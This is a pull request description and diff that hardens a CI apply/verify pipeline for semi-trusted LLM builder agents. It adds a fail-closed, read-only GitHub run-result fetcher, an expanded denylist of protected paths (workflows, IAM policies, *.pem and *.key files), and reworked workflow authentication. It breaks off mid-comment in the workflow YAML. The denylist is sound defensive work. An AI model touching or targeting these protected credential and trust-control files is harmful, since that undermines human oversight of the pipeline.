feat(agent-team): P3-live CI apply/verify hardening + ci_fetcher (gate-passed, provisioning-gated) (#17)

* feat(agent-team): read-only CI-result fetcher for P3 verify gate (opt-in, inert)

ci_fetcher.py: fail-closed CiResultFetcher reading the GitHub Actions run
conclusion via a read-only PAT (AGENT_TEAM_CI_READ_TOKEN→GITHUB_TOKEN), returns
{run_id,conclusion,diff_hash} or None on any error. Data-fetcher only — ci_gate
owns the verdict; never writes, no OIDC/AWS, never reads patch artifacts.
coordinator gains opt-in gated_build_verify_wiring() composing it via
bind_ci_result_fetcher; NOT wired into the default run-team.py path. 20 tests.

* harden(agent-team): P3 apply/verify workflow — GitHub App token, CWE-94, fail-closed

Decision-1 auth model: gate-and-pr uses a GitHub App installation token
(pull-requests:write) behind the agent-apply environment; ALL OIDC/id-token/AWS
removed. Hardening: task_id env-indirection (CWE-94 — GitHub expands ${{ }} into
the run shell before exec, so %s/quoting is insufficient); run-id pinning on both
download-artifact; post-build denied-path check (build-hook writes into denied
paths fail the job); empty-hash fail-closed in BOTH the embedded gate (fixed a
real ''=='' pass bug) and ci_gate.py. App-token + draft-PR steps stay if:${{ false }}
until provisioning (App + environment + branch protection). +17 tests.

* harden(agent-team): apply P3-live security-gate fixes (GPT-4.1 xreview + sh-security-review)

BLOCK-1/FIX-4: gate-and-pr re-comments pull-requests:write + environment:agent-apply
(provisioning-time uncomment) and gains needs.guard/build-test=='success' job guard —
zero privilege until provisioning. BLOCK-2/3+FIX-5: ci_fetcher validates run_id (^[0-9]{1,20}$),
owner/repo (^[A-Za-z0-9_.-]{1,100}$), and fetched_id (int) — fail closed, no SSRF/path
injection. FIX-1: conclusion allowlist. FIX-3: api_root removed from public builder (no
injectable endpoint). INJ-02: post-build denied-path check uses NUL-delimited git output +
explicit rename parsing, no backslash mangling, non-UTF8=violation. INJ-03: all three trust-
control denylists unified to one 22-entry union + drift-guard test. Q1: documented run_id/
diff_hash trust source (dispatcher/ledger only). 884 tests, ruff clean. Privileged steps stay
if:${{ false }} until provisioning.

* build(security-review): prune .claude worktrees from deterministic scanners

Agent worktrees under .claude/worktrees/ are full repo copies; the cfn-lint
find|xargs template scan overflowed ('command line cannot be assembled') and the
pre-push hook fail-closed to BLOCK whenever a worktree was present. Prune .claude
in the cfn-lint find + semgrep/checkov excludes, and gitignore .claude/ so it is
never scanned or committed. Unblocks main-tree pushes during parallel agent work.

.gitignore

@@ -10,3 +10,6 @@ __pycache__/
 
 # Stray Atlassian Document Format exports left by an unrelated tool — not part of this repo.
 .adf_final*.json
+
+# Claude Code agent worktrees / local scratch (never scanned or committed)
+.claude/

agent-team/agent_team/ci_fetcher.py

@@ -0,0 +1,365 @@
+"""Real, read-only CI-result fetcher — the GATED-LIVE seam for VERIFY (§3.3.2 #4).
+
+This module implements the production :data:`~agent_team.nodes.build_verify_subgraph.CiResultFetcher`
+that the build->verify subgraph's VERIFY node injects once the §3.3.2 CI
+trust-boundary clears ``/sh-security-review`` + the GPT-4.1 cross-review. Until
+then the subgraph runs with the INERT default fetcher (``_no_ci_result`` -> the
+gate BLOCKs and the task parks); binding THIS fetcher only gives the pure-code
+gate (:func:`agent_team.ci_gate.evaluate_ci_gate`) an authenticated conclusion
+to read — it never makes the LLM the pass authority.
+
+What it is (and, just as importantly, what it is NOT):
+
+* It is a **pure DATA fetcher.** Given the task ``state``, it reads
+  ``state["run_id"]`` (and echoes ``state.get("diff_hash")``), calls the GitHub
+  Actions REST API ``GET /repos/{owner}/{repo}/actions/runs/{run_id}`` with a
+  **READ-ONLY** token, and returns the authenticated run ``conclusion`` as a
+  mapping ``{"run_id", "conclusion", "diff_hash"}``. The gate owns the verdict;
+  this module never derives pass/fail itself.
+* It is **fail-closed.** ANY error — missing ``run_id``, missing token, 404,
+  auth failure, malformed JSON, a network/timeout error, an unexpected status —
+  returns ``None``. A ``None`` result makes the gate BLOCK (never a silent
+  pass), so a broken fetch parks the task for a human rather than shipping.
+* It **never writes.** No ``POST``/``PATCH``, no ``git``, no patch apply, no
+  filesystem mutation. It performs exactly one read-only GET.
+* It uses **no cloud credentials and no token-federation** — only a GitHub
+  read-only token, resolved at CALL time from the environment (matching the
+  prevailing transport idiom in :mod:`agent_team.transport.github_live`). It
+  NEVER reads a success/failure file the patch could have written (boundary 4).
+
+Prevailing HTTP approach: mirrors :mod:`agent_team.transport.github_live` — a
+thin ``requests`` session, deferred import (``requests`` is optional and may be
+absent pre-deploy), call-time token resolution, and an injectable ``client`` for
+testability. Unlike the poster, a missing token / missing ``requests`` here does
+NOT raise: it fails closed to ``None`` so the gate BLOCKs (the fetcher's whole
+contract is "no authenticated result -> None"). The dedicated read-only env var
+``AGENT_TEAM_CI_READ_TOKEN`` is preferred, falling back to ``GITHUB_TOKEN``.
+"""
+
+from __future__ import annotations
+
+import logging
+import os
+import re
+from collections.abc import Mapping
+from typing import Any
+
+from agent_team.nodes.build_verify_subgraph import CiResultFetcher
+
+__all__ = [
+    "CI_READ_TOKEN_ENV",
+    "GITHUB_API_ROOT",
+    "build_ci_result_fetcher",
+    "fetch_ci_result",
+]
+
+_LOG = logging.getLogger("agent_team.ci_fetcher")
+
+# ───────────────────────────────────────────────────────────────────────────
+# TRUST SOURCE (design §3.3.2, QUESTION-1). ``state["run_id"]`` and
+# ``state["diff_hash"]`` are TRUSTED inputs to this fetcher and the pure-code
+# gate: they MUST be written ONLY by the trusted dispatcher / ledger at dispatch
+# time — NEVER by an LLM/builder/verifier node or by anything a candidate diff
+# can influence. The dispatcher records the run id it dispatched the apply/verify
+# workflow under (and the ledger-recorded diff hash) into task state; the LLM
+# build/verify nodes only READ them. If that ever changes, the run_id format
+# validation below (fail-closed) plus the gate's run-id EQUALITY check
+# (:func:`agent_team.ci_gate.evaluate_ci_gate`, which compares the fetched run id
+# against the dispatcher's ``expected_run_id``) are the defense: an attacker who
+# could rewrite ``state["run_id"]`` to point at a different (passing) run would
+# still have to match the dispatcher's expected_run_id, and a malformed/injected
+# value fails the regex and returns None -> gate BLOCK.
+# ───────────────────────────────────────────────────────────────────────────
+
+# A GitHub Actions run id is a positive integer. Validate the state-supplied
+# run_id against this BEFORE building any URL: a non-numeric value is either a
+# bug or an injection attempt (it would be path-spliced into the API URL), so we
+# fail closed (-> None -> gate BLOCK) rather than fetch an attacker-chosen path.
+_RUN_ID_RE = re.compile(r"[0-9]{1,20}")
+
+# owner / repo path segments. GitHub restricts these to a conservative charset;
+# we validate both before URL construction so a crafted owner/repo cannot splice
+# extra path segments / traversal into the GitHub API URL. Fail closed on miss.
+_OWNER_REPO_RE = re.compile(r"[A-Za-z0-9_.-]{1,100}")
+
+# Authenticated GitHub run conclusions we recognise. An unrecognised/missing
+# conclusion is ambiguous and must fail closed here (the gate also BLOCKs on
+# unknowns; validating at the fetcher makes the trust boundary explicit). Keep
+# this in sync with agent_team.ci_gate's PASS + _FAILURE_CONCLUSIONS plus the
+# benign non-failure values GitHub can return.
+_ALLOWED_CONCLUSIONS: frozenset[str] = frozenset(
+    {
+        "success",
+        "failure",
+        "cancelled",
+        "skipped",
+        "timed_out",
+        "action_required",
+        "neutral",
+        "stale",
+        "startup_failure",
+    }
+)
+
+# The dedicated read-only token env var (preferred), falling back to the generic
+# GITHUB_TOKEN (the idiom github_live uses). The token MUST be read-only — the
+# fetcher only ever GETs; a write-scoped token here would be unnecessary blast
+# radius (provisioning issues a read-only fine-grained PAT / read-only var).
+CI_READ_TOKEN_ENV = "AGENT_TEAM_CI_READ_TOKEN"
+_FALLBACK_TOKEN_ENV = "GITHUB_TOKEN"
+
+GITHUB_API_ROOT = "https://api.github.com"
+
+# Conservative default timeout for the single read-only GET. A hang must fail
+# closed (-> None -> gate BLOCK), never wedge the verifier.
+_DEFAULT_TIMEOUT_S = 15.0
+
+
+def _resolve_read_token() -> str | None:
+    """Resolve the read-only GitHub token at call time, or ``None``.
+
+    Prefers :data:`CI_READ_TOKEN_ENV`, falls back to ``GITHUB_TOKEN``. Returns
+    ``None`` when neither is set so the fetcher fails closed (the caller maps a
+    missing token to a ``None`` result -> gate BLOCK), rather than raising.
+    """
+    return os.environ.get(CI_READ_TOKEN_ENV) or os.environ.get(_FALLBACK_TOKEN_ENV)
+
+
+def _build_session(token: str) -> Any:
+    """Lazily construct a read-only ``requests.Session`` (deferred optional import).
+
+    Mirrors :func:`agent_team.transport.github_live._build_session` (deferred
+    ``requests`` import, ``Authorization: Bearer`` + the API-version header). The
+    session is used for exactly one GET; no write verbs are ever issued.
+
+    Raises :class:`RuntimeError` only if ``requests`` is unavailable — the caller
+    catches it and fails closed to ``None`` so a pre-deploy environment without
+    the optional dependency simply BLOCKs (never a spurious pass).
+    """
+    import requests  # deferred: optional dependency (see module docstring)
+
+    session = requests.Session()
+    session.headers.update(
+        {
+            "Authorization": f"Bearer {token}",
+            "Accept": "application/vnd.github+json",
+            "X-GitHub-Api-Version": "2022-11-28",
+        }
+    )
+    return session
+
+
+def fetch_ci_result(
+    state: Mapping[str, Any],
+    *,
+    owner: str,
+    repo: str,
+    client: Any = None,
+    api_root: str = GITHUB_API_ROOT,
+    timeout: float = _DEFAULT_TIMEOUT_S,
+) -> dict[str, Any] | None:
+    """Fetch the authenticated CI run conclusion as DATA, or ``None`` (fail-closed).
+
+    Reads ``state["run_id"]`` (required) and echoes ``state.get("diff_hash")``,
+    then GETs ``{api_root}/repos/{owner}/{repo}/actions/runs/{run_id}`` with the
+    read-only token and returns::
+
+        {"run_id": <str>, "conclusion": <str>, "diff_hash": <echoed-or-None>}
+
+    Returns ``None`` on ANY failure — no ``run_id`` in state, no resolvable
+    token, ``requests`` unavailable, a non-2xx status (404/401/403/...), a
+    malformed/absent JSON body, a missing ``conclusion``, or a network/timeout
+    error. ``None`` is the fail-closed signal: the pure-code gate treats it as
+    "no authenticated result" and BLOCKs, so a broken fetch parks the task. This
+    function NEVER derives the verdict (the gate owns pass/fail) and NEVER
+    writes.
+
+    ``client`` injects a pre-built ``requests``-like session for tests (any
+    object with ``get(url, *, timeout) -> response`` exposing ``status_code``
+    and ``json()``). When omitted, a read-only session is built from the
+    resolved token.
+    """
+    run_id = state.get("run_id")
+    if run_id is None or str(run_id) == "":
+        _LOG.warning("ci_fetcher: no run_id in state; failing closed to None")
+        return None
+    run_id = str(run_id)
+
+    # BLOCK-2: validate the run id BEFORE it is spliced into the API URL. A GitHub
+    # run id is a positive integer; anything else is a bug or a path-injection
+    # attempt -> fail closed. (See the TRUST SOURCE note: state["run_id"] is a
+    # trusted dispatcher input, but we validate it as defense-in-depth.)
+    if not _RUN_ID_RE.fullmatch(run_id):
+        _LOG.warning(
+            "ci_fetcher: run_id %r is not a valid integer run id; failing closed",
+            run_id,
+        )
+        return None
+
+    # BLOCK-3: validate owner/repo before URL construction so a crafted value
+    # cannot splice extra path segments / traversal into the GitHub API URL.
+    for _name, _value in (("owner", owner), ("repo", repo)):
+        if not _OWNER_REPO_RE.fullmatch(_value):
+            _LOG.warning(
+                "ci_fetcher: %s %r is not a valid GitHub path segment; failing closed",
+                _name,
+                _value,
+            )
+            return None
+
+    echoed_hash = state.get("diff_hash")
+
+    if client is None:
+        token = _resolve_read_token()
+        if not token:
+            _LOG.warning(
+                "ci_fetcher: no read-only token (%s/%s) set; failing closed to None",
+                CI_READ_TOKEN_ENV,
+                _FALLBACK_TOKEN_ENV,
+            )
+            return None
+        try:
+            client = _build_session(token)
+        except Exception:  # noqa: BLE001 - any build failure fails closed
+            _LOG.warning("ci_fetcher: could not build HTTP client; failing closed")
+            return None
+
+    url = f"{api_root.rstrip('/')}/repos/{owner}/{repo}/actions/runs/{run_id}"
+
+    try:
+        response = client.get(url, timeout=timeout)
+    except Exception:  # noqa: BLE001 - timeout / connection / any -> fail closed
+        _LOG.warning("ci_fetcher: GET %s failed (network/timeout); failing closed", url)
+        return None
+
+    status = _status_of(response)
+    if status is None or not (200 <= status < 300):
+        _LOG.warning("ci_fetcher: run GET returned status %r; failing closed", status)
+        return None
+
+    data = _json_of(response)
+    if not isinstance(data, dict):
+        _LOG.warning("ci_fetcher: run body was not a JSON object; failing closed")
+        return None
+
+    conclusion = data.get("conclusion")
+    # An in-progress run has conclusion=None; that is NOT an authenticated
+    # verdict, so fail closed (the gate would BLOCK on it anyway, but returning
+    # None keeps the "no result" contract clean and avoids echoing a non-verdict).
+    if conclusion is None or not isinstance(conclusion, str):
+        _LOG.info("ci_fetcher: run %s has no conclusion yet; failing closed", run_id)
+        return None
+
+    # FIX-1: allowlist the conclusion. GitHub returns a fixed set of conclusion
+    # strings; an unrecognised value is ambiguous (a new GitHub state, a typo, or
+    # an injected value) and must fail closed here rather than be laundered to the
+    # gate. (The gate also BLOCKs unknowns; this makes the boundary explicit.)
+    normalized_conclusion = conclusion.strip().lower()
+    if normalized_conclusion not in _ALLOWED_CONCLUSIONS:
+        _LOG.warning(
+            "ci_fetcher: run %s has unrecognised conclusion %r; failing closed",
+            run_id,
+            conclusion,
+        )
+        return None
+
+    # Bind the returned run_id to the run actually fetched (the API echoes id);
+    # fall back to the requested (already-validated) run_id. The gate
+    # independently re-checks this against expected_run_id, so this is provenance,
+    # not the trust decision.
+    #
+    # FIX-5: the API ``id`` must be an integer / integer-string before it is used
+    # as the result run id; we do NOT launder an arbitrary string. An int is
+    # accepted; a digit-only string is accepted; anything else falls back to the
+    # already-validated requested run_id rather than propagating an unvalidated
+    # value into the gate's run-id equality check.
+    fetched_id = data.get("id")
+    if isinstance(fetched_id, bool):
+        # bool is an int subclass; a JSON ``true``/``false`` id is not a run id.
+        result_run_id = run_id
+    elif isinstance(fetched_id, int):
+        result_run_id = str(fetched_id)
+    elif isinstance(fetched_id, str) and _RUN_ID_RE.fullmatch(fetched_id):
+        result_run_id = fetched_id
+    else:
+        result_run_id = run_id
+
+    return {
+        "run_id": result_run_id,
+        "conclusion": normalized_conclusion,
+        "diff_hash": echoed_hash,
+    }
+
+
+def build_ci_result_fetcher(
+    *,
+    owner: str,
+    repo: str,
+    client: Any = None,
+    timeout: float = _DEFAULT_TIMEOUT_S,
+) -> CiResultFetcher:
+    """Build a :data:`CiResultFetcher` bound to ``owner``/``repo`` (GATED-LIVE seam).
+
+    Returns a single-argument ``state -> mapping | None`` callable shaped exactly
+    like the VERIFY node's injected ``ci_result_fetcher`` seam, closing over the
+    target ``owner``/``repo`` (and the optional injected ``client`` / ``timeout``).
+    Compose it with
+    :func:`agent_team.nodes.build_verify_subgraph.bind_ci_result_fetcher` (or the
+    opt-in :func:`agent_team.coordinator.gated_build_verify_wiring`) once the
+    §3.3.2 gate clears. It is read-only and fails closed (see
+    :func:`fetch_ci_result`); binding it does not enable any apply/verify
+    behaviour, it only gives the gate an authenticated conclusion to read.
+
+    FIX-3: the production path does NOT accept a caller-overridable ``api_root``.
+    The GitHub API host is hardcoded to :data:`GITHUB_API_ROOT` so a caller (and
+    anything that influences the coordinator's wiring) cannot redirect the
+    read-only GET at an attacker-controlled host. ``fetch_ci_result`` retains an
+    ``api_root`` kwarg for unit tests only; it is unreachable from this production
+    builder (and therefore from :func:`agent_team.coordinator.gated_build_verify_wiring`).
+    """
+
+    def fetcher(state: Mapping[str, Any]) -> dict[str, Any] | None:
+        return fetch_ci_result(
+            state,
+            owner=owner,
+            repo=repo,
+            client=client,
+            # api_root deliberately NOT forwarded: hardcoded GITHUB_API_ROOT in
+            # the production path (FIX-3). Only the test-only direct caller of
+            # fetch_ci_result may override it.
+            timeout=timeout,
+        )
+
+    return fetcher
+
+
+def _status_of(response: Any) -> int | None:
+    """Read the HTTP status from a ``requests``-like response, or ``None``.
+
+    Accepts ``status_code`` (``requests``) or ``status`` (a minimal fake).
+    Returns ``None`` if neither is present so the caller fails closed rather than
+    raising on an exotic object.
+    """
+    for attr in ("status_code", "status"):
+        value = getattr(response, attr, None)
+        if value is not None:
+            try:
+                return int(value)
+            except (TypeError, ValueError):
+                return None
+    return None
+
+
+def _json_of(response: Any) -> Any:
+    """Parse the JSON body of a ``requests``-like response, or ``None`` on failure.
+
+    A malformed/absent body must fail closed (-> ``None`` -> the caller returns
+    ``None`` -> gate BLOCK), never raise into the verifier node.
+    """
+    parser = getattr(response, "json", None)
+    if not callable(parser):
+        return None
+    try:
+        return parser()
+    except Exception:  # noqa: BLE001 - any JSON decode error fails closed
+        return None

agent-team/agent_team/ci_gate.py

@@ -39,6 +39,18 @@ Decision semantics (a diff "ships" only on an unambiguous authenticated pass):
 * :data:`GateDecision.BLOCK` — a trust violation (denylist hit, hash mismatch,
   run-id mismatch, missing/ambiguous authenticated conclusion). This is an
   ALARM-worthy refuse-to-proceed, never a silent pass.
+
+TRUST SOURCE (§3.3.2, QUESTION-1). ``state["run_id"]`` (the run id the fetcher
+reads and the value compared against ``expected_run_id`` here) and
+``state["diff_hash"]`` MUST be written ONLY by the trusted dispatcher / ledger at
+dispatch time — NEVER by an LLM / builder / verifier node or by anything a
+candidate diff can influence. The dispatcher records the run id it dispatched the
+apply/verify workflow under (and the ledger-recorded diff hash); the LLM nodes
+only read them. The gate's run-id EQUALITY check below (``actual_run_id`` vs the
+dispatcher-supplied ``expected_run_id``) plus the fetcher's run_id format
+validation are the defense if that assumption is ever broken: a tampered
+``state["run_id"]`` would still have to equal the dispatcher's expected run id to
+pass, and a malformed value fails closed.
 """
 
 from __future__ import annotations
@@ -85,12 +97,19 @@ class GateDecision(Enum):
 # touches any of these is escalated to mandatory human + GPT cross-review, never
 # auto-built — they are the mandatory-cross-review surface regardless. Globs are
 # matched against POSIX-canonicalized repo-relative paths.
+# INJ-03: this denylist is the UNION SUPERSET shared verbatim across all three
+# trust-control copies — this tuple, the guard-job inline DENY_GLOBS, and the
+# post-build inline DENY_GLOBS in ci/agent-team-apply-verify.yml. The three had
+# drifted in BOTH directions (each carried entries the others lacked); they are
+# now identical, and tests/test_apply_verify_workflow_hardening.py asserts the
+# identity so any future drift fails CI. When editing one, edit all three.
 DENYLIST_GLOBS: tuple[str, ...] = (
     # CI workflow definitions — the "pwn request" surface.
     ".github/workflows/**",
     ".github/actions/**",
     # Branch protection / ownership / dependency automation config.
     ".github/CODEOWNERS",
+    "**/CODEOWNERS",
     "CODEOWNERS",
     ".github/dependabot.yml",
     ".github/dependabot.yaml",
@@ -101,9 +120,15 @@ DENYLIST_GLOBS: tuple[str, ...] = (
     "**/template.yaml",
     "**/samconfig.toml",
     "**/*.tf",
+    "**/*-stack.ts",
+    "**/*_stack.py",
     "**/iam/**",
     "**/policies/**",
+    "**/*iam*",
+    "**/policy*.json",
     "**/*policy*.json",
+    "**/*.pem",
+    "**/*.key",
 )
 
 # Authenticated GitHub run conclusions that count as a recognised failure (the

agent-team/agent_team/coordinator.py

@@ -68,6 +68,7 @@ __all__ = [
     "Coordinator",
     "build_verify_wiring",
     "default_clarify_node_factory",
+    "gated_build_verify_wiring",
 ]
 
 _LOG = logging.getLogger("agent_team.coordinator")
@@ -254,6 +255,62 @@ def build_verify_wiring() -> tuple[
     return build_node, verify_node, route_after_verify
 
 
+def gated_build_verify_wiring(
+    *,
+    owner: str,
+    repo: str,
+    expected_run_id: str,
+    allowed_scope: list[str] | None = None,
+    diff_builder: Any = None,
+    ci_client: Any = None,
+) -> tuple[
+    Callable[[PipelineState], "dict[str, Any]"],
+    Callable[[PipelineState], PipelineState],
+    Callable[[PipelineState], str],
+]:
+    """Compose the GATED-LIVE P3 build->verify subgraph (OPT-IN; held for the gate).
+
+    The live counterpart to :func:`build_verify_wiring`: it binds the REAL
+    read-only CI-result fetcher (:func:`agent_team.ci_fetcher.build_ci_result_fetcher`)
+    onto the VERIFY node so the pure-code gate has an authenticated conclusion to
+    read, and (optionally) a real ``diff_builder`` onto the BUILD node. The gate
+    still owns pass/fail — binding the fetcher only GIVES it a result, it can
+    never make the LLM the pass authority.
+
+    **This is OPT-IN and is deliberately NOT wired into the default
+    ``run-team.py`` / ``serve`` path** (exactly like :func:`build_verify_wiring`).
+    It is the seam a leaf calls AFTER the §3.3.2 CI trust boundary clears
+    ``/sh-security-review`` + the GPT-4.1 cross-review and the GitHub App +
+    ``agent-apply`` environment are provisioned. Until then, importing or holding
+    this function changes nothing: the production coordinator passes
+    ``build_verify_wiring=None``, so no P3 subgraph is assembled at all.
+
+    The CI fetcher is read-only and fails closed: a missing token / 404 / auth
+    failure / malformed body / timeout yields ``None`` and the gate BLOCKs (the
+    task parks). ``ci_client`` injects a test double; the real path builds a
+    read-only ``requests`` session at call time from the read-only token env var.
+
+    Lazy-imported (ci_fetcher pulls the subgraph + verifier leaves) for the same
+    import-hygiene reason as the other factories.
+    """
+    from agent_team.ci_fetcher import build_ci_result_fetcher
+    from agent_team.nodes.build_verify_subgraph import (
+        make_build_node,
+        make_verify_node,
+        route_after_verify,
+    )
+    from agent_team.nodes.verifier import VerifierConfig
+
+    config = VerifierConfig(
+        expected_run_id=expected_run_id,
+        allowed_scope=allowed_scope,
+    )
+    fetcher = build_ci_result_fetcher(owner=owner, repo=repo, client=ci_client)
+    build_node = make_build_node(diff_builder=diff_builder)
+    verify_node = make_verify_node(config, ci_result_fetcher=fetcher)
+    return build_node, verify_node, route_after_verify
+
+
 class Coordinator:
     """Owns the live Plane-2 runtime: graph + resume worker + transport (§3.3).
 

agent-team/ci/README.md

@@ -6,12 +6,20 @@ holds the **split-job CI apply/verify workflow** that turns a builder agent's
 boundary, Phase P3 (§7.1) of `../../docs/r720-agent-team-design.md`.
 
 > **STATUS: DEPLOY-GATED. NOT ENABLED, NOT PROVISIONED.** This is authored as
-> files only. Per the design (§3.3.2, §7.1 P3) the workflow + its OIDC role must
+> files only. Per the design (§3.3.2, §7.1 P3) the workflow must clear **BOTH
-> clear **BOTH `/sh-security-review` AND the mandatory GPT-4.1 cross-review**
+> `/sh-security-review` AND the mandatory GPT-4.1 cross-review** before
-> before deployment, because it is IaC/IAM + untrusted-input handling. The
+> deployment, because it is untrusted-input handling + a CI trust boundary. The
-> privileged draft-PR step is hard-disabled (`if: ${{ false }}`) and the OIDC
+> privileged draft-PR step is hard-disabled (`if: ${{ false }}`); the ONLY
-> `id-token`/`pull-requests: write` grants are left commented until those gates
+> remaining step to go live is the **provisioning flip** (create the GitHub App,
-> pass. Nothing here is wired to a live org repo.
+> the `agent-apply` environment with a required reviewer, and branch protection,
+> then flip the step's `if:`). Nothing here is wired to a live org repo.
+>
+> **AUTH MODEL (LOCKED): GitHub App installation token — ZERO cloud credentials,
+> no token-federation.** The privileged `gate-and-pr` job authenticates with a
+> GitHub App installation token (`pull-requests: write`) minted at run time by
+> SHA-pinned `actions/create-github-app-token`. There is **no AWS and no
+> cloud-OIDC** anywhere in this workflow. The required human reviewer lives on
+> the `agent-apply` GitHub Environment (configured at provisioning, not in YAML).
 
 ## Files
 
@@ -22,7 +30,8 @@ boundary, Phase P3 (§7.1) of `../../docs/r720-agent-team-design.md`.
 
 The filename is kebab-case per the handbook. Deployment target (later, after the
 gates): promote into `Sea-Haven-Industries/.github` as a reusable workflow
-(`engineering-handbook/cicd.md`); the Option-B OIDC apply path invokes it.
+(`engineering-handbook/cicd.md`); the trusted apply path (which owns the GitHub
+App write token) invokes it.
 
 ## The trust boundary (design §3.3.2)
 
@@ -34,13 +43,17 @@ implements all five boundaries:
 
 1. **Split CI — untrusted execution is credential-less.** The job that checks
    out and runs the diff (`build-test`) runs with `permissions: contents: read`,
-   **no secrets, no OIDC, no write token**, and egress blocked
+   **no secrets, no App token, no write token**, and egress blocked
    (harden-runner). The patch executes only there, where there is nothing to
-   steal and nothing to assume. Every privileged action (the eventual OIDC role,
+   steal and nothing to assume. Every privileged action (the GitHub App token
-   the draft-PR open) runs in a **separate `gate-and-pr` job that never checks
+   mint, the draft-PR open) runs in a **separate `gate-and-pr` job that never
-   out or executes patch-controlled code** — it consumes the build/test report
+   checks out or executes patch-controlled code** — it consumes the build/test
-   as **data only**. There is **no `pull_request_target` + head-ref checkout**
+   report as **data only**. There is **no `pull_request_target` + head-ref
-   (the "pwn request" anti-pattern).
+   checkout** (the "pwn request" anti-pattern). The `build-test` job also runs a
+   **post-build denied-path check**: after the build/test step, it diffs the
+   working tree against the committed patched baseline and fails if a build hook
+   (setup.py, conftest, postinstall, Makefile) wrote into the trust-control
+   surface or out of declared scope — closing the build-hook write vector.
 2. **Trust-control-surface denylist (CI-side hard fail).** The `guard` job
    rejects any diff that touches `.github/workflows/**`, IAM/policy IaC
    (CDK/SAM/Terraform), branch-protection / `CODEOWNERS` / Dependabot config, or
@@ -88,7 +101,7 @@ workflow_dispatch (task_id, diff_artifact_name, expected_diff_hash, declared_sco
    (boundaries 2,3) re-hash + denylist + scope. Never applies it.
         │ (needs)
         ▼
-   build-test       contents:read, no secrets, no OIDC, egress blocked —
+   build-test       contents:read, no secrets, no App token, egress blocked —
    (boundary 1)     the ONLY job that applies + runs the UNTRUSTED patch.
         │ (needs)   Emits a NON-authoritative report artifact.
         ▼
@@ -112,6 +125,7 @@ tag in a trailing comment:
 | `actions/download-artifact` | `fa0a91b85d4f404e444e00e005971372dc801d16` | v4.1.8 |
 | `actions/upload-artifact` | `b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882` | v4.4.3 |
 | `actions/setup-python` | `0b93645e9fea7318ecaed2b359559ac225c90a2b` | v5.3.0 |
+| `actions/create-github-app-token` | `5d869da34e18e7287c1daad50e0b8ea0f506ce69` | v1.11.0 |
 | `step-security/harden-runner` | `0080882f6c36860b6ba35c610c98ce87d4e2f26f` | v2.10.2 |
 
 ## Relationship to the foundation
@@ -146,10 +160,25 @@ gate is "verified" is therefore backed by that test, not by authoring alone.)
 
 Before this ships (§3.3.2, §7.1 P3):
 
-1. `/sh-security-review` over this workflow (IaC + untrusted-input handling).
+1. `/sh-security-review` over this workflow (untrusted-input handling + CI
-2. Mandatory **GPT-4.1 cross-review** of the workflow **and** the Option-B OIDC
+   trust boundary).
-   role it will assume (IAM change).
+2. Mandatory **GPT-4.1 cross-review** of the workflow. (No IAM/cloud role is
-3. A documented, **exercised** rollback (remove the role, revert the workflow).
+   involved — the auth model is a GitHub App installation token, not OIDC/AWS.)
-4. Only then: uncomment the `id-token` / `pull-requests: write` grants, enable
+3. **Provisioning** (the single remaining step to go live):
-   the draft-PR step, and promote to `Sea-Haven-Industries/.github`. Draft PRs
+   - Create the GitHub App with a single permission (`pull-requests: write`),
-   only; never auto-merge.
+     install it on the target repo, and store its id + private key as the
+     `AGENT_APPLY_APP_ID` / `AGENT_APPLY_APP_PRIVATE_KEY` secrets.
+   - Create the `agent-apply` GitHub Environment with a **required reviewer**
+     (and optional wait timer) — this is the human gate, configured on the
+     Environment, not in YAML.
+   - Configure **branch protection** on the target branch (required checks +
+     human approval).
+   - Issue the **read-only** token for the CI-result fetcher
+     (`AGENT_TEAM_CI_READ_TOKEN`, falling back to `GITHUB_TOKEN`).
+4. A documented, **exercised** rollback (uninstall the App, remove the
+   environment, revert the workflow).
+5. Only then: flip the App-token + draft-PR steps' `if: ${{ false }}` to the
+   live condition documented in the workflow
+   (`always() && needs.guard.result=='success' &&
+   needs.build-test.result=='success' && steps.gate.outputs.gate=='pass'`), and
+   promote to `Sea-Haven-Industries/.github`. Draft PRs only; never auto-merge.

agent-team/ci/agent-team-apply-verify.yml

@@ -6,10 +6,21 @@
 # mandatory GPT-4.1 cross-review before it is deployed (it is IaC/IAM +
 # untrusted-input handling). Until then it lives here as a reviewable artifact.
 #
+# AUTH MODEL (LOCKED, P3-live): the privileged job authenticates via a GitHub
+# App INSTALLATION TOKEN with `pull-requests: write` — there are ZERO cloud
+# credentials and no cloud token-federation anywhere in this workflow. The
+# required human-reviewer gate lives on the `agent-apply` GitHub Environment
+# (configured at provisioning, not in YAML).
+#
 # Deployment target (later, after the gates): promote into
 # Sea-Haven-Industries/.github as a reusable workflow (engineering-handbook
-# cicd.md) and have the Option-B OIDC apply path call it. The filename stays
+# cicd.md) and have the apply path call it. The filename stays kebab-case per
-# kebab-case per the handbook.
+# the handbook. PROVISIONING (the ONLY remaining step to go live) creates the
+# GitHub App + its installation, the `agent-apply` environment with a required
+# reviewer + branch protection, then flips the draft-PR step's `if:` (see the
+# provisioning runbook). Flipping live against a non-existent environment is an
+# unprotected hole, so the flip is a deliberate provisioning action, not authored
+# here.
 #
 # ─────────────────────────────────────────────────────────────────────────────
 # TRUST BOUNDARY (design §3.3.2). The builder agents are semi-trusted: an LLM
@@ -18,8 +29,8 @@
 #
 #   1. Split CI. The job that checks out + executes the patch (`build-test`)
 #      runs credential-less (`permissions: contents: read`, no secrets, no
-#      OIDC, no write token, egress-restricted). Every privileged action runs
+#      App token, no write token, egress-restricted). Every privileged action
-#      in a SEPARATE job (`gate-and-pr`) that NEVER checks out or runs
+#      runs in a SEPARATE job (`gate-and-pr`) that NEVER checks out or runs
 #      patch-controlled code; it consumes the build/test report as DATA only.
 #      This is NOT `pull_request_target` with a head-ref checkout (pwn request).
 #   2. Trust-control-surface denylist. `guard` hard-fails (CI-side, not only the
@@ -44,8 +55,8 @@
 
 name: agent-team-apply-verify
 
-# Manual / API trigger only. The Option-B OIDC apply path (a trusted, separate
+# Manual / API trigger only. The trusted, separate apply path (which owns the
-# workflow that owns the write token) invokes this with the candidate-diff
+# GitHub App write token) invokes this with the candidate-diff
 # artifact + the ledger-recorded hash + the declared scope. There is NO
 # pull_request / pull_request_target trigger: the patch must never run in a
 # context that carries write or secret scope (boundary 1).
@@ -116,6 +127,13 @@ jobs:
         with:
           name: ${{ inputs.diff_artifact_name }}
           path: ./_incoming
+          # Pin the source run so an artifact can never be sourced from a
+          # DIFFERENT run (an attacker who can upload an artifact in some other
+          # run must not be able to substitute it here). This is the current
+          # run; download-artifact@v4 restricts to the same run by default, but
+          # pinning run-id makes that explicit and audit-visible. No
